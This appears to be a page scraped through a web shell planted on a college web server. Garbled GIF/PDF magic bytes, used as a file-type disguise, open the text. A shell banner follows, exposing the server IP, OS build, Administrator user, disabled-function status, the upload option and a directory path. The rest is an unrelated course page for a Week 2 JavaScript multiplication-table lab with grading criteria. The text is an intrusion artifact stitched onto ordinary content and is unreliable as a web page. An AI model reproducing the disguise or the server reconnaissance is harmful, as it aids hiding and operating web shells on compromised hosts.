GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST1022/AllenLabs/ |
Upload File : |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Week 2</title> <meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> <link href="Week%202%20Multiplication%20Table_files/style.css" rel="stylesheet" type="text/css"> </head> <body data-pt-ext-theme="dark" data-pt-ext-size="standard"> <p align="center"><font size="5" face="Arial, Helvetica, sans-serif" color="#000066">MMDT1022 </font><font size="5" face="Arial" color="#000080">HTML II and Javascript</font><font size="5" face="Arial, Helvetica, sans-serif" color="#000080"><br> Week 2 </font></p> <hr> <table width="750" cellpadding="4" border="0" bgcolor="#FFFFFF"> <tbody><tr> <td width="100%"><p><font size="4" face="Arial">Week 2</font></p> <p><font face="Arial">Read chapter 3 in the JavaScript textbook.</font></p> <p>Instructor will explain scope of variables. Two levels, Global and Local scope. </p> <p>Standard <a href="http://mmdt1022.ridgewater.net/week2/book/script10.html"><strong>BINGO</strong></a> from the book.</p> <p>Buzzwords <a href="http://mmdt1022.ridgewater.net/week2/book/script11.html"><strong>BINGO</strong></a> from the book.</p></td> </tr> </tbody></table> <br> <table width="750" cellpadding="4" border="0"> <tbody><tr> <td bgcolor="#FFFFFF"><p><font size="4" face="Arial, Helvetica, sans-serif">Lab Multiplication Table</font></p> <p><font face="Arial, Helvetica, sans-serif">Here is an </font><font face="Arial, Helvetica, sans-serif"> <a href="http://mmdt1022.ridgewater.net/week2/forlooptable.htm">example</a> of using a for loop to create a multiplication table</font><font size="4" face="Arial, Helvetica, sans-serif">.</font></p> <p>This is the finished lab called <a href="http://mmdt1022.ridgewater.net/exercises/multtable/multtable.html">multtable</a>. (Password protected. Only viewable live and in the recording)</p> <p>Here is an advanced version that asks for the table size called <a href="http://mmdt1022.ridgewater.net/exercises/multtable1/multtable.html">multtable</a>. (Password protected.) </p> <p><img src="Week%202%20Multiplication%20Table_files/multtable.png" alt="snapshot" width="584" height="595"></p> <p><font face="Arial, Helvetica, sans-serif">Part 1 - Using for loops, create a multiplication table. Generate a HTML table on the fly as to create a nice looking table with alternating colored rows. There should be at least 10 rows by 10 columns.</font></p> <p><font face="Arial, Helvetica, sans-serif">Part 2 - Create an event handler function so that when you click on a cell, the cell background color changes.</font></p> <p><font face="Arial, Helvetica, sans-serif">Part 3 - Create an event handler function so that when your mouse leaves the selected cell, the background color changes back to the original color.</font></p> <p><font face="Arial, Helvetica, sans-serif">Part 4- Generate a message that shows which row and column was selected and what data the cell contained.</font></p> <table width="500" cellspacing="0" cellpadding="5" border="1"> <tbody><tr> <td width="85%"><b>Grading Criteria</b></td> <td width="15%" align="right"><b>Points<br> 25</b></td> </tr> <tr> <td width="85%">Part 1</td> <td width="15%" align="right">5</td> </tr> <tr> <td width="85%">Part 2 </td> <td width="15%" align="right">10</td> </tr> <tr> <td>Part 3 </td> <td align="right">5</td> </tr> <tr> <td>Part 4</td> <td align="right">5</td> </tr> </tbody></table> <p>Assignment is due one week from when it was assigned. 50% penalty if late.</p></td> </tr> </tbody></table> <hr> <p> </p> <p> </p> <div></div></body></html>